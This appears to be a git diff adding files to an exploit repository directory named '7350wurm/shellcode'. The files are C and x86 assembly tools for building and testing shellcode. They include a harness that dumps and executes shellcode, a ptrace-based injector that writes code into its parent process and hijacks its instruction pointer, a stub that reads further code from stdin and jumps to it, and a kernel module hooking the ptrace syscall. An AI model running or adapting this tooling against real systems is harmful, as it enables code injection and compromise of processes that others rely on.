| 8 | #include <ctype.h> | ||
| 9 | |||
| 10 | #ifdef IRIX | ||
| 11 | #include <sys/cachectl.h> | ||
| 12 | #endif | ||
| 13 | |||
| 14 | #ifdef HPUX | ||
| 15 | extern char * cbegin; | ||
| 16 | extern char * cend; | ||
| 17 | #else | ||
| 18 | extern void cbegin (); | ||
| 19 | extern void cend (); | ||
| 20 | #endif | ||
| 21 | |||
| 22 | typedef void (* fptr)(void); | ||
| 23 | |||
| 24 | int | ||
| 25 | bad (unsigned char u); | ||
| 26 | |||
| 27 | |||
| 28 | int | ||
| 29 | main (int argc, char *argv[]) | ||
| 30 | { | ||
| 31 | int i, | ||
| 32 | bbytes = 0; | ||
| 33 | unsigned char * buf = (unsigned char *) cbegin; | ||
| 34 | |||
| 35 | unsigned char ebuf[1024]; | ||
| 36 | fptr ebuf_p = (fptr) &ebuf[0]; | ||
| 37 | |||
| 38 | |||
| 39 | fprintf (stderr, "/* %lu byte shellcode */\n", | ||
| 40 | (unsigned long int) cend - (unsigned long int) cbegin); | ||
| 41 | |||
| 42 | for (i = 0 ; buf < (unsigned char *) cend; ++buf) { | ||
| 43 | if (i % 12 == 0 && buf > (unsigned char *) cbegin) | ||
| 44 | printf ("\n"); | ||
| 45 | if (i % 12 == 0) | ||
| 46 | printf ("\""); | ||
| 47 | |||
| 48 | if (bad (*buf & 0xff)) { | ||
| 49 | printf ("_\\x%02x_", *buf & 0xff); | ||
| 50 | bbytes += 1; | ||
| 51 | } else { | ||
| 52 | printf ("\\x%02x", *buf & 0xff); | ||
| 53 | } | ||
| 54 | |||
| 55 | if (++i >= 12) { | ||
| 56 | i = 0; | ||
| 57 | printf ("\""); | ||
| 58 | } | ||
| 59 | } | ||
| 60 | if (i % 12 == 0) | ||
| 61 | printf (";\n"); | ||
| 62 | else | ||
| 63 | printf ("\";\n"); | ||
| 64 | |||
| 65 | printf("\n"); | ||
| 66 | |||
| 67 | fprintf (stderr, "bad bytes = %d\n", bbytes); | ||
| 68 | |||
| 69 | if (argc > 1) { | ||
| 70 | memcpy (ebuf, cbegin, (unsigned long int) cend - | ||
| 71 | (unsigned long int) cbegin); | ||
| 72 | #ifdef IRIX | ||
| 73 | memcpy (ebuf + ((unsigned long int) cend - | ||
| 74 | (unsigned long int) cbegin), "/bin/sh\x42_ABCDEFGHIJKLMNOPQRSTUVWXYZ", 40); | ||
| 75 | cacheflush (ebuf, sizeof (ebuf), BCACHE); | ||
| 76 | #endif | ||
| 77 | ebuf_p (); | ||
| 78 | } | ||
| 79 | |||
| 80 | exit (EXIT_SUCCESS); | ||
| 81 | } | ||
| 82 | |||
| 83 | |||
| 84 | int | ||
| 85 | bad (unsigned char u) | ||
| 86 | { | ||
| 87 | if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25') | ||
| 88 | return (1); | ||
| 89 | |||
| 90 | return (0); | ||
| 91 | } | ||
| 92 | |||
| 93 | |||
diff --git a/exploits/7350wurm/shellcode/pt/Makefile b/exploits/7350wurm/shellcode/pt/Makefile new file mode 100644 index 0000000..e5e1fd5 --- /dev/null +++ b/exploits/7350wurm/shellcode/pt/Makefile | |||
| @@ -0,0 +1,8 @@ | |||
| 1 | |||
| 2 | all: rptrace.c | ||
| 3 | rm -f rptrace.o | ||
| 4 | gcc -c -I/usr/src/linux/include -O2 -Wall rptrace.c -o rptrace.o | ||
| 5 | |||
| 6 | clean: | ||
| 7 | rm -f rptrace.o | ||
| 8 | |||
diff --git a/exploits/7350wurm/shellcode/pt/README b/exploits/7350wurm/shellcode/pt/README new file mode 100644 index 0000000..0139382 --- /dev/null +++ b/exploits/7350wurm/shellcode/pt/README | |||
| @@ -0,0 +1,6 @@ | |||
| 1 | This is a *simple* HACK to get around the ptrace/exec security problem | ||
| 2 | in linux <2.2.19. It simply disables ptrace for everyone except root. | ||
| 3 | Just make, and insmod the .o .. and your uptime will be preserved! :P | ||
| 4 | |||
| 5 | -MadCamel (madcamel@energymech.net) | ||
| 6 | |||
diff --git a/exploits/7350wurm/shellcode/pt/rptrace.c b/exploits/7350wurm/shellcode/pt/rptrace.c new file mode 100644 index 0000000..f7de48b --- /dev/null +++ b/exploits/7350wurm/shellcode/pt/rptrace.c | |||
| @@ -0,0 +1,42 @@ | |||
| 1 | #define MODULE | ||
| 2 | #define __KERNEL__ | ||
| 3 | #include <linux/module.h> | ||
| 4 | #include <linux/kernel.h> | ||
| 5 | #include <sys/syscall.h> | ||
| 6 | #include <linux/smp_lock.h> | ||
| 7 | #include <linux/capability.h> | ||
| 8 | |||
| 9 | struct task_struct *init_hook = NULL; | ||
| 10 | extern void *sys_call_table[]; | ||
| 11 | |||
| 12 | int (*o_ptrace)(int, int, int, int); | ||
| 13 | |||
| 14 | int n_ptrace(int req, int pid, int addr, int data) | ||
| 15 | { | ||
| 16 | int r; | ||
| 17 | |||
| 18 | r = o_ptrace(req, pid, addr, data); | ||
| 19 | printk ("PTRACE (%08x, %08x, %08x, %08x) = %08x\n", req, pid, addr, data, r); | ||
| 20 | return (r); | ||
| 21 | } | ||
| 22 | |||
| 23 | #define REPLACE(x) o_##x = sys_call_table[__NR_##x];\ | ||
| 24 | sys_call_table[__NR_##x] = n_##x | ||
| 25 | int init_module(void) | ||
| 26 | { | ||
| 27 | lock_kernel(); | ||
| 28 | EXPORT_NO_SYMBOLS; | ||
| 29 | REPLACE(ptrace); | ||
| 30 | unlock_kernel(); | ||
| 31 | return(0); | ||
| 32 | } | ||
| 33 | |||
| 34 | #define RESTORE(x) sys_call_table[__NR_##x] = o_##x | ||
| 35 | int cleanup_module(void) | ||
| 36 | { | ||
| 37 | lock_kernel(); | ||
| 38 | RESTORE(ptrace); | ||
| 39 | unlock_kernel(); | ||
| 40 | return(0); | ||
| 41 | } | ||
| 42 | |||
diff --git a/exploits/7350wurm/shellcode/pt/rptrace.o b/exploits/7350wurm/shellcode/pt/rptrace.o new file mode 100644 index 0000000..dd3bc56 --- /dev/null +++ b/exploits/7350wurm/shellcode/pt/rptrace.o | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/shellcode/pt/x.tar.gz b/exploits/7350wurm/shellcode/pt/x.tar.gz new file mode 100644 index 0000000..06ba614 --- /dev/null +++ b/exploits/7350wurm/shellcode/pt/x.tar.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/shellcode/ptrace/ptrace-legit b/exploits/7350wurm/shellcode/ptrace/ptrace-legit new file mode 100644 index 0000000..e3e02c1 --- /dev/null +++ b/exploits/7350wurm/shellcode/ptrace/ptrace-legit | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/shellcode/ptrace/ptrace-legit.c b/exploits/7350wurm/shellcode/ptrace/ptrace-legit.c new file mode 100644 index 0000000..870da8a --- /dev/null +++ b/exploits/7350wurm/shellcode/ptrace/ptrace-legit.c | |||
| @@ -0,0 +1,192 @@ | |||
| 1 | /* -scutstyle */ | ||
| 2 | |||
| 3 | #include <sys/types.h> | ||
| 4 | #include <sys/ptrace.h> | ||
| 5 | #include <sys/wait.h> | ||
| 6 | #include <sys/user.h> | ||
| 7 | #include <unistd.h> | ||
| 8 | #include <stdlib.h> | ||
| 9 | #include <stdio.h> | ||
| 10 | |||
| 11 | |||
| 12 | pid_t z_fork (void); | ||
| 13 | void hexdump (unsigned char *data, unsigned int amount); | ||
| 14 | |||
| 15 | unsigned char shellcode[] = "\x90\x90\xcc\x73"; | ||
| 16 | |||
| 17 | int | ||
| 18 | main (int argc, char *argv[]) | ||
| 19 | { | ||
| 20 | pid_t cpid; | ||
| 21 | struct user regs; | ||
| 22 | unsigned long int safed_eip; | ||
| 23 | unsigned long int addr, | ||
| 24 | addr_walker; | ||
| 25 | unsigned char data_saved[256]; | ||
| 26 | |||
| 27 | |||
| 28 | #if 0 | ||
| 29 | if (argc != 2 || sscanf (argv[1], "%d", &cpid) != 1) { | ||
| 30 | printf ("usage: %s <pid>\n", argv[0]); | ||
| 31 | exit (EXIT_FAILURE); | ||
| 32 | } | ||
| 33 | #endif | ||
| 34 | cpid = getppid(); | ||
| 35 | if (z_fork () != 0) { | ||
| 36 | printf ("parent. exiting.\n"); | ||
| 37 | exit (EXIT_FAILURE); | ||
| 38 | } | ||
| 39 | |||
| 40 | printf ("pid = %d\n", cpid); | ||
| 41 | |||
| 42 | printf ("exploiting\n\n"); | ||
| 43 | |||
| 44 | if (ptrace (PTRACE_ATTACH, cpid, NULL, NULL) < 0) { | ||
| 45 | perror ("ptrace"); | ||
| 46 | exit (EXIT_FAILURE); | ||
| 47 | } | ||
| 48 | |||
| 49 | /* save data */ | ||
| 50 | addr = 0xbffff010; | ||
| 51 | for (addr_walker = 0 ; addr_walker < 256 ; ++addr_walker) { | ||
| 52 | data_saved[addr_walker] = ptrace (PTRACE_PEEKDATA, cpid, | ||
| 53 | addr + addr_walker, NULL); | ||
| 54 | } | ||
| 55 | hexdump (data_saved, sizeof (data_saved)); | ||
| 56 | |||
| 57 | /* write */ | ||
| 58 | for (addr_walker = 0 ; addr_walker < sizeof (shellcode) ; | ||
| 59 | ++addr_walker) | ||
| 60 | { | ||
| 61 | ptrace (PTRACE_POKEDATA, cpid, addr + addr_walker, | ||
| 62 | shellcode[addr_walker] & 0xff); | ||
| 63 | } | ||
| 64 | |||
| 65 | /* redirect eip */ | ||
| 66 | memset (®s, 0, sizeof (regs)); | ||
| 67 | if (ptrace (PTRACE_GETREGS, cpid, NULL, ®s) < 0) { | ||
| 68 | perror ("ptrace PTRACE_GETREGS"); | ||
| 69 | exit (EXIT_FAILURE); | ||
| 70 | } | ||
| 71 | // write eip */ | ||
| 72 | safed_eip = regs.regs.eip; | ||
| 73 | regs.regs.eip = 0xbffff010; | ||
| 74 | if (ptrace (PTRACE_SETREGS, cpid, NULL, ®s) < 0) { | ||
| 75 | perror ("ptrace PTRACE_GETREGS"); | ||
| 76 | exit (EXIT_FAILURE); | ||
| 77 | } | ||
| 78 | |||
| 79 | if (ptrace (PTRACE_CONT, cpid, NULL, NULL) < 0) { | ||
| 80 | perror ("ptrace PTRACE_CONT"); | ||
| 81 | exit (EXIT_FAILURE); | ||
| 82 | } | ||
| 83 | |||
| 84 | wait (NULL); | ||
| 85 | printf ("detrap\n"); | ||
| 86 | |||
| 87 | /* restore */ | ||
| 88 | for (addr_walker = 0 ; addr_walker < 256 ; ++addr_walker) { | ||
| 89 | ptrace (PTRACE_POKEDATA, cpid, addr + addr_walker, | ||
| 90 | data_saved[addr_walker] & 0xff); | ||
| 91 | } | ||
| 92 | |||
| 93 | /* restore regs */ | ||
| 94 | regs.regs.eip = safed_eip; | ||
| 95 | if (ptrace (PTRACE_SETREGS, cpid, NULL, ®s) < 0) { | ||
| 96 | perror ("ptrace PTRACE_GETREGS"); | ||
| 97 | exit (EXIT_FAILURE); | ||
| 98 | } | ||
| 99 | |||
| 100 | if (ptrace (PTRACE_DETACH, cpid, NULL, NULL) < 0) { | ||
| 101 | perror ("ptrace PTRACE_DETACH"); | ||
| 102 | exit (EXIT_FAILURE); | ||
| 103 | } | ||
| 104 | |||
| 105 | exit (EXIT_SUCCESS); | ||
| 106 | } | ||
| 107 | |||
| 108 | |||
| 109 | |||
| 110 | void | ||
| 111 | hexdump (unsigned char *data, unsigned int amount) | ||
| 112 | { | ||
| 113 | unsigned int dp, p; /* data pointer */ | ||
| 114 | const char trans[] = | ||
| 115 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 116 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 117 | "nopqrstuvwxyz{|}~...................................." | ||
| 118 | "....................................................." | ||
| 119 | "........................................"; | ||
| 120 | |||
| 121 | for (dp = 1; dp <= amount; dp++) { | ||
| 122 | printf ("%02x ", data[dp-1]); | ||
| 123 | if ((dp % 8) == 0) | ||
| 124 | printf (" "); | ||
| 125 | if ((dp % 16) == 0) { | ||
| 126 | printf ("| "); | ||
| 127 | p = dp; | ||
| 128 | for (dp -= 16; dp < p; dp++) | ||
| 129 | printf ("%c", trans[data[dp]]); | ||
| 130 | printf ("\n"); | ||
| 131 | } | ||
| 132 | } | ||
| 133 | if ((amount % 16) != 0) { | ||
| 134 | p = dp = 16 - (amount % 16); | ||
| 135 | for (dp = p; dp > 0; dp--) { | ||
| 136 | printf (" "); | ||
| 137 | if (((dp % 8) == 0) && (p != 8)) | ||
| 138 | printf (" "); | ||
| 139 | } | ||
| 140 | printf (" | "); | ||
| 141 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 142 | printf ("%c", trans[data[dp]]); | ||
| 143 | } | ||
| 144 | printf ("\n"); | ||
| 145 | |||
| 146 | return; | ||
| 147 | } | ||
| 148 | |||
| 149 | |||
| 150 | /* z_fork | ||
| 151 | * | ||
| 152 | * fork and detach forked client completely to avoid zombies. | ||
| 153 | * taken from richard stevens excellent system programming book :) thanks, | ||
| 154 | * whereever you are now. | ||
| 155 | * | ||
| 156 | * caveat: the pid of the child has already died, it can just be used to | ||
| 157 | * differentiate between parent and not parent, the pid of the | ||
| 158 | * child is inaccessibly. | ||
| 159 | * | ||
| 160 | * return pid of child for old process | ||
| 161 | * return 0 for child | ||
| 162 | */ | ||
| 163 | |||
| 164 | pid_t | ||
| 165 | z_fork (void) | ||
| 166 | { | ||
| 167 | pid_t pid; | ||
| 168 | |||
| 169 | pid = fork (); | ||
| 170 | if (pid < 0) { | ||
| 171 | return (pid); | ||
| 172 | } else if (pid == 0) { | ||
| 173 | /* let the child fork again | ||
| 174 | */ | ||
| 175 | |||
| 176 | pid = fork (); | ||
| 177 | if (pid < 0) { | ||
| 178 | return (pid); | ||
| 179 | } else if (pid > 0) { | ||
| 180 | /* let the child and parent of the second child | ||
| 181 | * exit | ||
| 182 | */ | ||
| 183 | exit (EXIT_SUCCESS); | ||
| 184 | } | ||
| 185 | |||
| 186 | return (0); | ||
| 187 | } | ||
| 188 | |||
| 189 | waitpid (pid, NULL, 0); | ||
| 190 | |||
| 191 | return (pid); | ||
| 192 | } | ||
diff --git a/exploits/7350wurm/shellcode/t b/exploits/7350wurm/shellcode/t new file mode 100644 index 0000000..eb3478b --- /dev/null +++ b/exploits/7350wurm/shellcode/t | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/shellcode/t.c b/exploits/7350wurm/shellcode/t.c new file mode 100644 index 0000000..7c1aa4f --- /dev/null +++ b/exploits/7350wurm/shellcode/t.c | |||
| @@ -0,0 +1,12 @@ | |||
| 1 | |||
| 2 | #include <stdio.h> | ||
| 3 | |||
| 4 | int | ||
| 5 | main (int argc, char *argv[]) | ||
| 6 | { | ||
| 7 | char * foo[4] = { "./codedump", "a", "b", NULL }; | ||
| 8 | |||
| 9 | execve (foo[0], foo, NULL); | ||
| 10 | } | ||
| 11 | |||
| 12 | |||
diff --git a/exploits/7350wurm/shellcode/write-read-exec.s b/exploits/7350wurm/shellcode/write-read-exec.s new file mode 100644 index 0000000..6f3956c --- /dev/null +++ b/exploits/7350wurm/shellcode/write-read-exec.s | |||
| @@ -0,0 +1,38 @@ | |||
| 1 | .globl cbegin | ||
| 2 | .globl cend | ||
| 3 | |||
| 4 | cbegin: | ||
| 5 | |||
| 6 | /* write: ebx = fd, ecx = where, edx = length, eax = 4 */ | ||
| 7 | wr_pos: xorl %ebx, %ebx | ||
| 8 | incl %ebx /* ebx = 1 */ | ||
| 9 | |||
| 10 | movl $0x0b51740b, %eax | ||
| 11 | subl $0x01010101, %eax | ||
| 12 | push %eax | ||
| 13 | movl %esp, %ecx /* ecx = "AAA\n" */ | ||
| 14 | |||
| 15 | push $0x04 | ||
| 16 | pop %eax /* eax = 4 */ | ||
| 17 | movl %eax, %edx | ||
| 18 | |||
| 19 | int $0x80 /* write (1, "AAA\n", 4) */ | ||
| 20 | |||
| 21 | jmp ctramp | ||
| 22 | rd_cde: xorl %ebx, %ebx | ||
| 23 | mull %ebx /* ebx = eax = edx = 0 */ | ||
| 24 | |||
| 25 | decb %dl /* edx = 0xff */ | ||
| 26 | popl %ecx /* ecx = ncode */ | ||
| 27 | |||
| 28 | push $0x3 | ||
| 29 | pop %eax | ||
| 30 | |||
| 31 | int $0x80 /* read (0, ncode, 0xff) */ | ||
| 32 | jmp ncode | ||
| 33 | |||
| 34 | ctramp: call rd_cde | ||
| 35 | ncode: | ||
| 36 | |||
| 37 | cend: | ||
| 38 | |||
diff --git a/exploits/7350wurm/timoglaser.txt b/exploits/7350wurm/timoglaser.txt new file mode 100644 index 0000000..000e74e --- /dev/null +++ b/exploits/7350wurm/timoglaser.txt | |||
| @@ -0,0 +1,3 @@ | |||
| 1 | "unknown banners" instead of "unknown banner" | ||
| 2 | given 2002/01/28 | ||
| 3 | |||
